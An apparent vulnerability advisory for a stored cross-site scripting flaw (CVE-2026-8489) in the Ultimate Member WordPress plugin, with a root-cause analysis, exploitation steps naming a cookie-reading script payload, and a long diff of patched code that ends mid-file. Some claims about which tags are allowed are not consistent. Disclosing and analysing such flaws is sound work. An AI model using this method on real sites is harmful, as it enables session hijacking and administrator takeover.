Published : July 2, 2026

CVE-2026-8489: Ultimate Member <= 2.11.4 Authenticated (Subscriber+) Stored Cross-Site Scripting via Non-HTML Custom Textarea Profile Field PoC, Patch Analysis & Rule

CVE ID CVE-2026-8489
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.11.4
Patched Version 2.12.0
Disclosed July 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-8489:
This vulnerability is a Stored Cross-Site Scripting (XSS) flaw in the Ultimate Member WordPress plugin, affecting versions up to and including 2.11.4. An authenticated attacker with subscriber-level access can inject arbitrary web scripts through a custom textarea profile field that does not have HTML enabled. The injected script executes when any user views the attacker’s profile or member directory entry, leading to full page compromise. The vulnerability has a CVSS score of 6.4, reflecting its moderate complexity but significant impact.

Root Cause: The root cause lies in insufficient sanitization and output escaping for custom textarea profile fields without HTML support (the ‘html’ property set to false). The vulnerable code path resides in `/ultimate-member/includes/core/class-fields.php`, specifically in the `view_field` method around lines 4506-4530 of the patched diff. When `$show_bio` is false and `$data[‘html’]` is empty, the original code used `esc_html()` which properly escaped output. However, the patched version reveals that the real vulnerability occurs during input saving in `/ultimate-member/includes/core/class-form.php` at lines 841-855. The `validate_form_data` method processes textarea fields: when a custom field (like ‘about_me’) does not have the ‘html’ property enabled, but it is NOT a ‘description_key’ field, the code falls to the `else` branch that uses `wp_kses( $form_value, $allowed_html )`. Critically, `$allowed_html` is set to `UM()->get_allowed_html( ‘templates’ )` which allows a broader set of HTML tags than intended. The patch shifts the logic to use `sanitize_textarea_field()` for non-HTML textarea fields, stripping all HTML tags entirely.

Exploitation: An attacker logs in as a subscriber or higher role. They navigate to their profile edit page (typically `/wp-admin/admin-ajax.php?action=um_profile_update` or the frontend profile form) and modify a custom textarea profile field that does not have HTML enabled. The attacker inserts malicious JavaScript within HTML tags, for example `alert(document.cookie)` or a more sophisticated payload using event handlers like ``. Because the plugin’s input sanitization passes this payload through `wp_kses()` with a permissive allowed HTML list (including `script`, `img`, and other dangerous tags), the payload is stored in the database. When any user (including administrators) views the attacker’s profile page or when the member directory loads the attacker’s card, the field value is output without proper escaping, executing the script in the victim’s browser.

Patch Analysis: The patch fundamentally changes how custom textarea fields without HTML support are saved. In `/ultimate-member/includes/core/class-form.php`, the input validation logic now checks if the field has the ‘html’ property enabled. It also specifically handles the ‘user_description’ key with its own allowed HTML (`’user_description’` context). For all other textarea fields without HTML support, the patch replaces `wp_kses( $form_value, $allowed_html )` with `sanitize_textarea_field( strip_shortcodes( $form_value ) )`. The `sanitize_textarea_field()` function strips all HTML tags, allowing only plain text and line breaks. This prevents XSS payloads from being stored. Additionally, the output escaping in `class-fields.php` (line 4506-4530 of the patch) is hardened: when `$show_bio` is false and `$data[‘html’]` is empty, it now uses `wp_kses()` with a restrictive allowlist that only permits `` tags with `href` and `rel` attributes, rather than the permissive `wp_kses_post()`. The patch also removes the REST API v1 class entirely (class-api-v1.php), which was the entry point for the deprecated API that stored user keys in user meta.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user viewing their profile, including administrators. This can lead to session hijacking, credential theft, defacement, or malware distribution. The attacker can perform administrative actions on behalf of a victim admin, such as creating backdoor users, modifying plugin settings, or exfiltrating sensitive data. Given that subscriber-level access is widely available (many sites allow self-registration), the vulnerability poses a real threat to site integrity and user privacy.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/ultimate-member/includes/admin/class-site-health.php
+++ b/ultimate-member/includes/admin/class-site-health.php
@@ -1595,10 +1595,6 @@
 				'label' => __( 'Allowed Choice Callbacks', 'ultimate-member' ),
 				'value' => UM()->options()->get( 'allowed_choice_callbacks' ),
 			),
-			'rest_api_version'              => array(
-				'label' => __( 'REST API version', 'ultimate-member' ),
-				'value' => UM()->options()->get( 'rest_api_version' ),
-			),
 			'allow_url_redirect_confirm'    => array(
 				'label' => __( 'Allow external link redirect confirm (enable JS.confirm for external links)', 'ultimate-member' ),
 				'value' => UM()->options()->get( 'allow_url_redirect_confirm' ) ? $labels['yes'] : $labels['no'],
--- a/ultimate-member/includes/admin/core/class-admin-settings.php
+++ b/ultimate-member/includes/admin/core/class-admin-settings.php
@@ -1020,9 +1020,6 @@
 					'enable_as_email_sending'              => array(
 						'sanitize' => 'bool',
 					),
-					'rest_api_version'                     => array(
-						'sanitize' => 'text',
-					),
 					'disable_restriction_pre_queries'      => array(
 						'sanitize' => 'bool',
 					),
@@ -2229,16 +2226,6 @@
 												'label' => __( 'Allowed Choice Callbacks (Enter one PHP function per line)', 'ultimate-member' ),
 												'description' => __( 'This option lets you specify the choice callback functions to prevent anyone from using 3rd-party functions that may put your site at risk.', 'ultimate-member' ),
 											),
-											array(
-												'id'      => 'rest_api_version',
-												'type'    => 'select',
-												'label'   => __( 'REST API Version', 'ultimate-member' ),
-												'description' => __( 'This controls the REST API version, we recommend to use the last version.', 'ultimate-member' ),
-												'options' => array(
-													'1.0' => __( '1.0 version', 'ultimate-member' ),
-													'2.0' => __( '2.0 version', 'ultimate-member' ),
-												),
-											),
 										),
 									),
 									'redirect'   => array(
--- a/ultimate-member/includes/class-config.php
+++ b/ultimate-member/includes/class-config.php
@@ -731,7 +731,6 @@
 				'cover_photo_max_size'                  => 999999999,
 				'custom_roles_increment'                => 1,
 				'um_profile_object_cache_stop'          => false,
-				'rest_api_version'                      => '2.0',
 				'member_directory_own_table'            => false,
 				'profile_show_bio'                      => false,
 				'profile_show_html_bio'                 => false,
--- a/ultimate-member/includes/class-init.php
+++ b/ultimate-member/includes/class-init.php
@@ -427,8 +427,6 @@
 				if ( ! get_option( 'show_avatars' ) ) {
 					update_option( 'show_avatars', 1 );
 				}
-			} else {
-				UM()->options()->update( 'rest_api_version', '1.0' );
 			}

 			if ( $version != UM_VERSION ) {
@@ -442,7 +440,6 @@
 			$this->cron()->schedule_events();
 		}

-
 		/**
 		 *
 		 */
@@ -450,7 +447,6 @@
 			do_action( 'um_core_loaded' );
 		}

-
 		/**
 		 * Include required core files used in admin and on the frontend.
 		 *
@@ -523,14 +519,8 @@
 			if ( is_multisite() ) {
 				$this->multisite();
 			}
-
-			// Call only when REST_API request
-			if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) {
-				$this->rest_api();
-			}
 		}

-
 		/**
 		 * @since 2.1.0
 		 *
@@ -938,27 +928,6 @@
 		/**
 		 * @since 2.0
 		 *
-		 * @return umcorerestAPI_v1|umcorerestAPI_v2
-		 */
-		public function rest_api() {
-			$api_version = $this->options()->get( 'rest_api_version' );
-
-			if ( empty( $this->classes['rest_api'] ) ) {
-				if ( '1.0' === $api_version ) {
-					$this->classes['rest_api'] = new umcorerestAPI_v1();
-				} elseif ( '2.0' === $api_version ) {
-					$this->classes['rest_api'] = new umcorerestAPI_v2();
-				} else {
-					$this->classes['rest_api'] = new umcorerestAPI_v1();
-				}
-			}
-
-			return $this->classes['rest_api'];
-		}
-
-		/**
-		 * @since 2.0
-		 *
 		 * @return umcoreRewrite
 		 */
 		function rewrite() {
@@ -969,7 +938,6 @@
 			return $this->classes['rewrite'];
 		}

-
 		/**
 		 * @since 2.0
 		 *
--- a/ultimate-member/includes/core/class-builtin.php
+++ b/ultimate-member/includes/core/class-builtin.php
@@ -1540,7 +1540,7 @@
 		 *
 		 * @return array
 		 */
-		function all_user_fields( $exclude_types = null, $show_all = false ) {
+		public function all_user_fields( $exclude_types = null, $show_all = false ) {

 			$fields_without_metakey = $this->get_fields_without_metakey();
 			$fields_without_metakey = apply_filters( 'um_all_user_fields_without_metakey', $fields_without_metakey );
--- a/ultimate-member/includes/core/class-fields.php
+++ b/ultimate-member/includes/core/class-fields.php
@@ -834,7 +834,6 @@
 			return $classes;
 		}

-
 		/**
 		 * Gets field value
 		 *
@@ -844,26 +843,26 @@
 		 *
 		 * @return mixed
 		 */
-		function field_value( $key, $default = false, $data = null ) {
-			// preview in backend
+		public function field_value( $key, $default = false, $data = null ) {
+			// Preview in backend
 			if ( isset( UM()->user()->preview ) && UM()->user()->preview ) {
-				if ( $this->set_mode == 'login' || $this->set_mode == 'register' ) {
+				if ( 'login' === $this->set_mode || 'register' === $this->set_mode ) {
 					return '';
-				} else {
-					$val = um_user( $key );
-					if ( ! empty( $val ) ) {
-						return $val;
-					} else {
-						return '';
-					}
 				}
+
+				$val = um_user( $key );
+				if ( ! empty( $val ) ) {
+					return $val;
+				}
+
+				return '';
 			}

-			if ( isset( $_SESSION ) && isset( $_SESSION['um_social_profile'][ $key ] ) && isset( $this->set_mode ) && $this->set_mode == 'register' ) {
+			if ( isset( $_SESSION ) && isset( $_SESSION['um_social_profile'][ $key ] ) && isset( $this->set_mode ) && 'register' === $this->set_mode ) {
 				return $_SESSION['um_social_profile'][ $key ];
 			}

-			$type = ( isset( $data['type'] ) ) ? $data['type'] : '';
+			$type = isset( $data['type'] ) ? $data['type'] : '';

 			// normal state
 			if ( isset( UM()->form()->post_form[ $key ] ) ) {
@@ -4384,7 +4383,7 @@


 		/**
-		 * Gets a field in `view mode`
+		 * Gets a field in `view mode`. Works in the User Profile form > View mode only.
 		 *
 		 * @param string $key
 		 * @param array $data
@@ -4436,7 +4435,8 @@

 			$default = array_key_exists( 'default', $data ) ? $data['default'] : false;

-			// Hide if empty.
+			// Hide if the value of the field with metakey is empty.
+			$_field_value           = null;
 			$fields_without_metakey = UM()->builtin()->get_fields_without_metakey();
 			if ( ! in_array( $type, $fields_without_metakey, true ) ) {
 				$_field_value = $this->field_value( $key, $default, $data );
@@ -4467,8 +4467,6 @@
 			switch ( $type ) {
 				/* Default */
 				default:
-					$_field_value = $this->field_value( $key, $default, $data );
-
 					if ( ( isset( $_field_value ) && '' !== $_field_value ) || in_array( $type, $fields_without_metakey, true ) ) {
 						$output .= '<div ' . $this->get_atts( $key, $classes, $conditional, $data ) . '>';

@@ -4508,16 +4506,30 @@

 							if ( $show_bio ) {
 								if ( true === $bio_html && ! empty( $data['html'] ) ) {
-									$res = wp_kses_post( make_clickable( wpautop( $res ) ) );
+									$res = wp_kses( make_clickable( $res ), 'user_description' );
 								} else {
-									$res = esc_html( $res );
+									$res = wp_kses(
+										make_clickable( $res ),
+										array(
+											'a' => array(
+												'href' => array(),
+												'rel'  => array(),
+											),
+										)
+									);
 								}
+							} elseif ( ! empty( $data['html'] ) ) {
+								$res = wp_kses( make_clickable( $res ), 'user_description' );
 							} else {
-								if ( ! empty( $data['html'] ) ) {
-									$res = wp_kses_post( make_clickable( wpautop( $res ) ) );
-								} else {
-									$res = esc_html( $res );
-								}
+								$res = wp_kses(
+									make_clickable( $res ),
+									array(
+										'a' => array(
+											'href' => array(),
+											'rel'  => array(),
+										),
+									)
+								);
 							}

 							$res = nl2br( $res );
--- a/ultimate-member/includes/core/class-form.php
+++ b/ultimate-member/includes/core/class-form.php
@@ -841,9 +841,10 @@
 											$form[ $k ] = '' !== $form[ $k ] ? (int) $form[ $k ] : '';
 											break;
 										case 'textarea':
-											if ( ! empty( $field['html'] ) || ( UM()->profile()->get_show_bio_key( $form ) === $k && UM()->options()->get( 'profile_show_html_bio' ) ) ) {
+											$description_key = UM()->profile()->get_show_bio_key( $form );
+											if ( ! empty( $field['html'] ) || ( $description_key === $k && UM()->options()->get( 'profile_show_html_bio' ) ) ) {
 												$allowed_html = UM()->get_allowed_html( 'templates' );
-												if ( UM()->profile()->get_show_bio_key( $form ) === $k ) {
+												if ( $description_key === $k ) {
 													$allowed_html = 'user_description';
 												}

@@ -851,6 +852,7 @@
 												$form[ $k ] = self::maybe_apply_tidy( $form[ $k ], $field );
 												$form[ $k ] = wp_kses( strip_shortcodes( $form[ $k ] ), $allowed_html );
 											} else {
+												// When save textarea value without HTML supported property, strip shortcodes, sanitize like a standard textarea.
 												$form[ $k ] = sanitize_textarea_field( strip_shortcodes( $form[ $k ] ) );
 											}
 											break;
@@ -961,8 +963,10 @@
 				}

 				$description_key = UM()->profile()->get_show_bio_key( $this->form_data );
+				// Case when user_description is added to the User Profile header, and it's editable and not empty.
 				if ( $show_bio && ! empty( $form[ $description_key ] ) ) {
 					$field_exists = false;
+					// Check the case when user_description is also added to the User Profile form, and it's editable and not empty.
 					if ( ! empty( $this->form_data['custom_fields'] ) ) {
 						$custom_fields = maybe_unserialize( $this->form_data['custom_fields'] );
 						if ( array_key_exists( $description_key, $custom_fields ) ) {
@@ -972,6 +976,7 @@
 								$form[ $description_key ] = self::maybe_apply_tidy( $form[ $description_key ], $custom_fields[ $description_key ] );
 								$form[ $description_key ] = wp_kses( strip_shortcodes( $form[ $description_key ] ), 'user_description' );
 							} else {
+								// When save user_description value without HTML supported property, strip shortcodes, sanitize like a standard textarea.
 								$form[ $description_key ] = sanitize_textarea_field( strip_shortcodes( $form[ $description_key ] ) );
 							}
 						}
@@ -983,6 +988,7 @@
 							$form[ $description_key ] = self::maybe_apply_tidy( $form[ $description_key ], array() );
 							$form[ $description_key ] = wp_kses( strip_shortcodes( $form[ $description_key ] ), 'user_description' );
 						} else {
+							// When save user_description value without HTML supported property, strip shortcodes, sanitize like a standard textarea.
 							$form[ $description_key ] = sanitize_textarea_field( strip_shortcodes( $form[ $description_key ] ) );
 						}
 					}
--- a/ultimate-member/includes/core/class-member-directory-meta.php
+++ b/ultimate-member/includes/core/class-member-directory-meta.php
@@ -671,7 +671,7 @@
 				$cover_photo_where = " AND umm_general.um_value LIKE '%s:11:"cover_photo";b:1;%'";
 			}

-			if ( ! UM()->roles()->um_user_can( 'can_edit_everyone' ) ) {
+			if ( ! $this->can_edit_users() ) {
 				if ( ! $this->general_meta_joined ) {
 					$this->joins[] = "LEFT JOIN {$wpdb->prefix}um_metadata umm_general ON umm_general.user_id = u.ID";

--- a/ultimate-member/includes/core/class-member-directory.php
+++ b/ultimate-member/includes/core/class-member-directory.php
@@ -262,9 +262,8 @@
 			return $default;
 		}

-
 		/**
-		 * Getting member directory post ID via hash
+		 * Getting member directory post ID via hash.
 		 * Hash is unique attr, which we use visible at frontend
 		 *
 		 * @param string $hash
@@ -277,9 +276,12 @@
 			$directory_id = $wpdb->get_var(
 				$wpdb->prepare(
 					"SELECT post_id
-					FROM {$wpdb->postmeta}
-					WHERE meta_key = '_um_directory_token' AND
-						  meta_value = %s
+					FROM {$wpdb->postmeta} pm
+					LEFT JOIN {$wpdb->posts} p ON pm.post_id = p.ID
+					WHERE p.post_type = 'um_directory' AND
+						  p.post_status = 'publish' AND
+						  pm.meta_key = '_um_directory_token' AND
+						  pm.meta_value = %s
 					LIMIT 1",
 					$hash
 				)
@@ -290,7 +292,9 @@
 					$wpdb->prepare(
 						"SELECT ID
 						FROM {$wpdb->posts}
-						WHERE SUBSTRING( MD5( ID ), 11, 5 ) = %s",
+						WHERE SUBSTRING( MD5( ID ), 11, 5 ) = %s AND
+							  post_type='um_directory' AND
+							  post_status = 'publish'",
 						$hash
 					)
 				);
@@ -1183,43 +1187,46 @@
 		}

 		/**
-		 * @param $filter
+		 * Get the placeholders array for the slider-type filter.
+		 * Format `array( 'singular-placeholder', 'plural-placeholder' )`.
 		 *
-		 * @return mixed
+		 * @param string $filter
+		 * @param array  $attrs
+		 *
+		 * @return array
 		 */
-		function slider_range_placeholder( $filter, $attrs ) {
+		public function slider_range_placeholder( $filter, $attrs ) {
 			switch ( $filter ) {
-				default: {
-					$label = ! empty( $attrs['label'] ) ? $attrs['label'] : $filter;
-					$label = ucwords( str_replace( array( 'um_', '_' ), array( '', ' ' ), $label ) );
+				default:
+					$label        = ! empty( $attrs['label'] ) ? $attrs['label'] : $filter;
+					$label        = ucwords( str_replace( array( 'um_', '_' ), array( '', ' ' ), $label ) );
 					$placeholders = apply_filters( 'um_member_directory_filter_slider_range_placeholder', false, $filter );

 					if ( ! $placeholders ) {
 						switch ( $attrs['type'] ) {
 							default:
 								$placeholders = array(
-									"<strong>$label:</strong> {value}",
-									"<strong>$label:</strong> {min_range} - {max_range}",
+									"$label: {value}",
+									"$label: {min_range} - {max_range}",
 								);
 								break;
 							case 'rating':
 								$placeholders = array(
-									"<strong>$label:</strong> {value}" . __( ' stars', 'ultimate-member' ),
-									"<strong>$label:</strong> {min_range} - {max_range}" . __( ' stars', 'ultimate-member' )
+									"$label: {value}" . __( ' stars', 'ultimate-member' ),
+									"$label: {min_range} - {max_range}" . __( ' stars', 'ultimate-member' ),
 								);
 								break;
 						}
 					}
-
 					break;
-				}
-				case 'birth_date': {
+
+				case 'birth_date':
 					$placeholders = array(
-						__( '<strong>Age:</strong> {value} years old', 'ultimate-member' ),
-						__( '<strong>Age:</strong> {min_range} - {max_range} years old', 'ultimate-member' )
+						__( 'Age: {value} years old', 'ultimate-member' ),
+						__( 'Age: {min_range} - {max_range} years old', 'ultimate-member' ),
 					);
 					break;
-				}
+
 			}

 			return $placeholders;
@@ -1344,12 +1351,30 @@
 			do_action( 'um_member_directory_restrictions_handle_extend' );
 		}

+		/**
+		 * Determine if the current user can edit other users
+		 *
+		 * @return bool Returns true if the current user can edit users, false otherwise
+		 */
+		protected function can_edit_users() {
+			if ( is_user_logged_in() ) {
+				$rolename = UM()->roles()->get_priority_user_role( get_current_user_id() );
+				$role     = get_role( $rolename );
+
+				// Don't specify only approved users  when the current user has 'edit_users' capability.
+				if ( current_user_can( 'edit_users' ) || ( ! is_null( $role ) && $role->has_cap( 'edit_users' ) ) ) {
+					return true;
+				}
+			}
+
+			return false;
+		}

 		/**
 		 *
 		 */
-		function hide_not_approved() {
-			if ( UM()->roles()->um_user_can( 'can_edit_everyone' )  ) {
+		public function hide_not_approved() {
+			if ( $this->can_edit_users() ) {
 				return;
 			}

@@ -1360,7 +1385,6 @@
 			) ) );
 		}

-
 		/**
 		 *
 		 */
@@ -1393,7 +1417,7 @@
 				return;
 			}

-			if ( UM()->roles()->um_user_can( 'can_edit_everyone' ) ) {
+			if ( $this->can_edit_users() ) {
 				return;
 			}

@@ -2671,6 +2695,8 @@
 		 * @return array
 		 */
 		public function build_user_card_data( $user_id, $directory_data ) {
+			$user_fields = UM()->builtin()->all_user_fields();
+
 			um_fetch_user( $user_id );

 			$dropdown_actions = $this->build_user_actions_list( $user_id );
@@ -2690,9 +2716,9 @@

 			$data_array = array(
 				'card_anchor'          => esc_html( $this->get_user_hash( $user_id ) ),
-				'role'                 => is_user_logged_in() ? esc_html( um_user( 'role' ) ) : 'undefined', // make the role hidden for the nopriv requests.
-				'account_status'       => is_user_logged_in() ? esc_html( UM()->common()->users()->get_status( $user_id ) ) : 'undefined', // make the status hidden for the nopriv requests.
-				'account_status_name'  => is_user_logged_in() ? esc_html( UM()->common()->users()->get_status( $user_id, 'formatted' ) ) : __( 'Undefined', 'ultimate-member' ), // make the status hidden for the nopriv requests.
+				'role'                 => 'undefined', // make the role hidden here.
+				'account_status'       => 'undefined', // make the status hidden here.
+				'account_status_name'  => esc_html__( 'Undefined', 'ultimate-member' ), // make the status hidden here.
 				'cover_photo'          => wp_kses( um_user( 'cover_photo', $this->cover_size ), UM()->get_allowed_html( 'templates' ) ),
 				'display_name'         => esc_html( um_user( 'display_name' ) ),
 				'profile_url'          => esc_url( um_user_profile_url() ),
@@ -2705,45 +2731,53 @@
 				'hook_after_user_name' => wp_kses( preg_replace( '/^s+/im', '', $hook_after_user_name ), UM()->get_allowed_html( 'templates' ) ),
 			);

-			if ( ! empty( $directory_data['show_tagline'] ) ) {
-
-				if ( ! empty( $directory_data['tagline_fields'] ) ) {
-					$directory_data['tagline_fields'] = maybe_unserialize( $directory_data['tagline_fields'] );
+			// Make the role and status visible for the user who can edit these users in the request.
+			if ( is_user_logged_in() && UM()->common()->users()->can_current_user_edit_user( $user_id ) ) {
+				$data_array['role']                = esc_html( um_user( 'role' ) );
+				$data_array['account_status']      = esc_html( UM()->common()->users()->get_status( $user_id ) );
+				$data_array['account_status_name'] = esc_html( UM()->common()->users()->get_status( $user_id, 'formatted' ) );
+			}

-					if ( is_array( $directory_data['tagline_fields'] ) ) {
-						foreach ( $directory_data['tagline_fields'] as $key ) {
-							if ( ! $key ) {
-								continue;
-							}
+			$description_key = UM()->profile()->get_show_bio_key( UM()->fields()->global_args );

-							if ( '_um_last_login' === $key ) {
-								$show_last_login = get_user_meta( $user_id, 'um_show_last_login', true );
-								if ( ! empty( $show_last_login ) && 'no' === $show_last_login[0] ) {
-									continue;
-								}
-							}
+			if ( ! empty( $directory_data['show_tagline'] ) && ! empty( $directory_data['tagline_fields'] ) ) {
+				$directory_data['tagline_fields'] = maybe_unserialize( $directory_data['tagline_fields'] );

-							$value = um_filtered_value( $key );
+				if ( is_array( $directory_data['tagline_fields'] ) ) {
+					foreach ( $directory_data['tagline_fields'] as $key ) {
+						if ( ! $key || ! array_key_exists( $key, $user_fields ) ) {
+							continue;
+						}

-							if ( ! $value ) {
+						if ( '_um_last_login' === $key ) {
+							$show_last_login = get_user_meta( $user_id, 'um_show_last_login', true );
+							if ( ! empty( $show_last_login ) && 'no' === $show_last_login[0] ) {
 								continue;
 							}
+						}
+
+						$value = um_filtered_value( $key );
+						if ( ! $value ) {
+							continue;
+						}

-							$data_array[ $key ] = wp_kses( $value, UM()->get_allowed_html( 'templates' ) );
+						if ( $description_key === $key ) {
+							$value = nl2br( wp_kses( make_clickable( $value ), 'user_description' ) );
 						}
+
+						$data_array[ $key ] = wp_kses( $value, UM()->get_allowed_html( 'templates' ) );
 					}
 				}
 			}

 			if ( ! empty( $directory_data['show_userinfo'] ) ) {
-
 				if ( ! empty( $directory_data['reveal_fields'] ) ) {

 					$directory_data['reveal_fields'] = maybe_unserialize( $directory_data['reveal_fields'] );

 					if ( is_array( $directory_data['reveal_fields'] ) ) {
 						foreach ( $directory_data['reveal_fields'] as $key ) {
-							if ( ! $key ) {
+							if ( ! $key || ! array_key_exists( $key, $user_fields ) ) {
 								continue;
 							}

@@ -2759,16 +2793,23 @@
 								continue;
 							}

+							if ( $description_key === $key ) {
+								$value = nl2br( wp_kses( make_clickable( $value ), 'user_description' ) );
+							}
+
 							$label = UM()->fields()->get_label( $key );
-							if ( $key == 'role_select' || $key == 'role_radio' ) {
-								$label = strtr( $label, array(
-									' (Dropdown)'   => '',
-									' (Radio)'      => ''
-								) );
+							if ( 'role_select' === $key || 'role_radio' === $key ) {
+								$label = strtr(
+									$label,
+									array(
+										' (Dropdown)' => '',
+										' (Radio)'    => '',
+									)
+								);
 							}

-							$data_array[ "label_{$key}" ] = esc_html__( $label, 'ultimate-member' );
-							$data_array[ $key ] = wp_kses( $value, UM()->get_allowed_html( 'templates' ) );
+							$data_array[ "label_{$key}" ] = esc_html( $label );
+							$data_array[ $key ]           = wp_kses( $value, UM()->get_allowed_html( 'templates' ) );
 						}
 					}
 				}
--- a/ultimate-member/includes/core/class-profile.php
+++ b/ultimate-member/includes/core/class-profile.php
@@ -40,23 +40,20 @@
 		/**
 		 * Profile constructor.
 		 */
-		function __construct() {
+		public function __construct() {
 			add_action( 'template_redirect', array( &$this, 'active_tab' ), 10002 );
 			add_action( 'template_redirect', array( &$this, 'active_subnav' ), 10002 );
 		}

-
 		/**
 		 * @param array $args
 		 *
 		 * @return string
 		 */
-		function get_show_bio_key( $args ) {
-			$key = apply_filters( 'um_profile_bio_key', 'description', $args );
-			return $key;
+		public function get_show_bio_key( $args ) {
+			return apply_filters( 'um_profile_bio_key', 'description', $args );
 		}

-
 		/**
 		 * Delete profile avatar AJAX handler
 		 */
@@ -448,22 +445,25 @@
 						if ( $description_key === $key ) {
 							$global_setting = UM()->options()->get( 'profile_show_html_bio' );
 							$bio_html       = ! empty( $global_setting );
-
-							if ( ! empty( $args['custom_fields'][ $description_key ] ) ) {
-								if ( empty( $args['custom_fields'][ $description_key ]['html'] ) ) {
-									$bio_html = false;
-								}
+							if ( ! empty( $args['custom_fields'][ $description_key ] ) && empty( $args['custom_fields'][ $description_key ]['html'] ) ) {
+								$bio_html = false;
 							}

 							if ( $bio_html ) {
-								$data['html'] = true;
-								$value = um_filtered_value( $key, $data );
-								$res = wp_kses_post( make_clickable( wpautop( $value ) ) );
+								$value = wp_kses( make_clickable( $value ), 'user_description' );
 							} else {
-								$res = esc_html( $value );
+								$value = wp_kses(
+									make_clickable( $value ),
+									array(
+										'a' => array(
+											'href' => array(),
+											'rel'  => array(),
+										),
+									)
+								);
 							}

-							$value = nl2br( $res );
+							$value = nl2br( $value );
 						}

 						if ( ! $value && ( ! array_key_exists( 'type', $data ) || ! in_array( $data['type'], $fields_without_metakey, true ) ) ) {
--- a/ultimate-member/includes/core/class-query.php
+++ b/ultimate-member/includes/core/class-query.php
@@ -426,29 +426,38 @@
 		 * @return array
 		 */
 		public function post_data( $post_id ) {
-			$array['form_id'] = $post_id;
-			$mode             = $this->get_attr( 'mode', $post_id );
-			$meta             = get_post_custom( $post_id );
+			$mode = $this->get_attr( 'mode', $post_id );
+
+			$array = array(
+				'form_id' => $post_id,
+				'mode'    => $mode,
+			);
+
+			$meta = get_post_custom( $post_id );
 			foreach ( $meta as $k => $v ) {
-				if ( strstr( $k, '_um_' . $mode . '_' ) ) {
+				if ( '_um_mode' === $k ) {
+					continue;
+				}
+
+				if ( 0 === strpos( $k, '_um_' . $mode . '_' ) ) {
 					$k           = str_replace( '_um_' . $mode . '_', '', $k );
 					$array[ $k ] = $v[0];
-				} elseif ( '_um_mode' === $k ) {
-					$k           = str_replace( '_um_', '', $k );
-					$array[ $k ] = $v[0];
-				} elseif ( strstr( $k, '_um_' ) ) {
+				} elseif ( 0 === strpos( $k, '_um_' ) ) {
 					$k           = str_replace( '_um_', '', $k );
 					$array[ $k ] = $v[0];
 				}
 			}

-			foreach ( $array as $k => $v ) {
-				if ( strstr( $k, 'login_' ) || strstr( $k, 'register_' ) || strstr( $k, 'profile_' ) ) {
-					if ( 'directory' !== $mode ) {
+			// Remove another form mode meta if exists. E.g. login meta for the profile-mode form.
+			if ( 'directory' !== $mode ) {
+				// There isn't such meta in the member directory mode, so skip this.
+				foreach ( $array as $k => $v ) {
+					if ( 0 === strpos( $k, 'login_' ) || 0 === strpos( $k, 'register_' ) || 0 === strpos( $k, 'profile_' ) ) {
 						unset( $array[ $k ] );
 					}
 				}
 			}
+
 			return $array;
 		}

--- a/ultimate-member/includes/core/class-user.php
+++ b/ultimate-member/includes/core/class-user.php
@@ -110,6 +110,8 @@
 				'user_activation_key',
 				'level_',
 				$wpdb->get_blog_prefix() . 'user_level',
+				'um_user_public_key', // UM REST API public. Legacy, not used for now!
+				'um_user_secret_key', // UM REST API secret. Legacy, not used for now!
 			);

 			// a list of keys that should never be in wp_usermeta
@@ -1180,13 +1182,11 @@
 			return '';
 		}

-
 		/**
 		 * @param $user_id
 		 * @param $profile
 		 */
-		function setup_cache( $user_id, $profile ) {
-
+		public function setup_cache( $user_id, $profile ) {
 			$disallow_cache = UM()->options()->get( 'um_profile_object_cache_stop' );
 			if ( $disallow_cache ) {
 				return;
@@ -1195,11 +1195,10 @@
 			update_option( "um_cache_userdata_{$user_id}", $profile, false );
 		}

-
 		/**
 		 * @param $user_id
 		 */
-		function remove_cache( $user_id ) {
+		public function remove_cache( $user_id ) {
 			delete_option( "um_cache_userdata_{$user_id}" );
 		}

@@ -1319,13 +1318,10 @@

 					// Setup cache
 					$this->setup_cache( $this->id, $this->profile );
-
 				}
 			}
-
 		}

-
 		/**
 		 * Reset user data
 		 *
--- a/ultimate-member/includes/core/rest/class-api-v1.php
+++ b/ultimate-member/includes/core/rest/class-api-v1.php
@@ -1,445 +0,0 @@
-<?php
-namespace umcorerest;
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-if ( ! class_exists( 'umcorerestAPI_v1' ) ) {
-
-
-	/**
-	 * Class REST_API
-	 * @package umcore
-	 */
-	class API_v1 extends API {
-
-		/**
-		 *
-		 */
-		const VERSION = '1.0';
-
-		/**
-		 * REST_API constructor.
-		 */
-		public function __construct() {
-			parent::__construct();
-
-			add_filter( 'query_vars', array( $this, 'query_vars' ) );
-		}
-
-		/**
-		 * Registers query vars for API access
-		 *
-		 * @param $vars
-		 *
-		 * @return array
-		 */
-		public function query_vars( $vars ) {
-			$vars[] = 'key';
-			$vars[] = 'token';
-			$vars[] = 'format';
-			$vars[] = 'query';
-			$vars[] = 'type';
-			$vars[] = 'data';
-			$vars[] = 'fields';
-			$vars[] = 'value';
-			$vars[] = 'number';
-			$vars[] = 'id';
-			$vars[] = 'email';
-			$vars[] = 'orderby';
-			$vars[] = 'order';
-			$vars[] = 'include';
-			$vars[] = 'exclude';
-
-			$this->vars = $vars;
-
-			return $vars;
-		}
-
-		/**
-		 * Validate the API request
-		 */
-		protected function validate_request() {
-			global $wp_query;
-
-			$this->override = false;
-
-			// Make sure we have both user and api key
-			if ( ! empty( $wp_query->query_vars['um-api'] ) ) {
-
-				if ( empty( $wp_query->query_vars['token'] ) || empty( $wp_query->query_vars['key'] ) ) {
-					$this->missing_auth();
-				}
-
-				// Retrieve the user by public API key and ensure they exist
-				if ( ! ( $user = $this->get_user( $wp_query->query_vars['key'] ) ) ) {
-					$this->invalid_key();
-				} else {
-					$token  = urldecode( $wp_query->query_vars['token'] );
-					$secret = get_user_meta( $user, 'um_user_secret_key', true );
-					$public = urldecode( $wp_query->query_vars['key'] );
-
-					if ( hash_equals( md5( $secret . $public ), $token ) ) {
-						$this->is_valid_request = true;
-					} else {
-						$this->invalid_auth();
-					}
-				}
-			}
-		}
-
-		/**
-		 * Retrieve the user ID based on the public key provided
-		 *
-		 * @param string $key
-		 *
-		 * @return bool|mixed|null|string
-		 */
-		public function get_user( $key = '' ) {
-			global $wpdb, $wp_query;
-
-			if ( empty( $key ) ) {
-				$key = urldecode( $wp_query->query_vars['key'] );
-			}
-
-			if ( empty( $key ) ) {
-				return false;
-			}
-
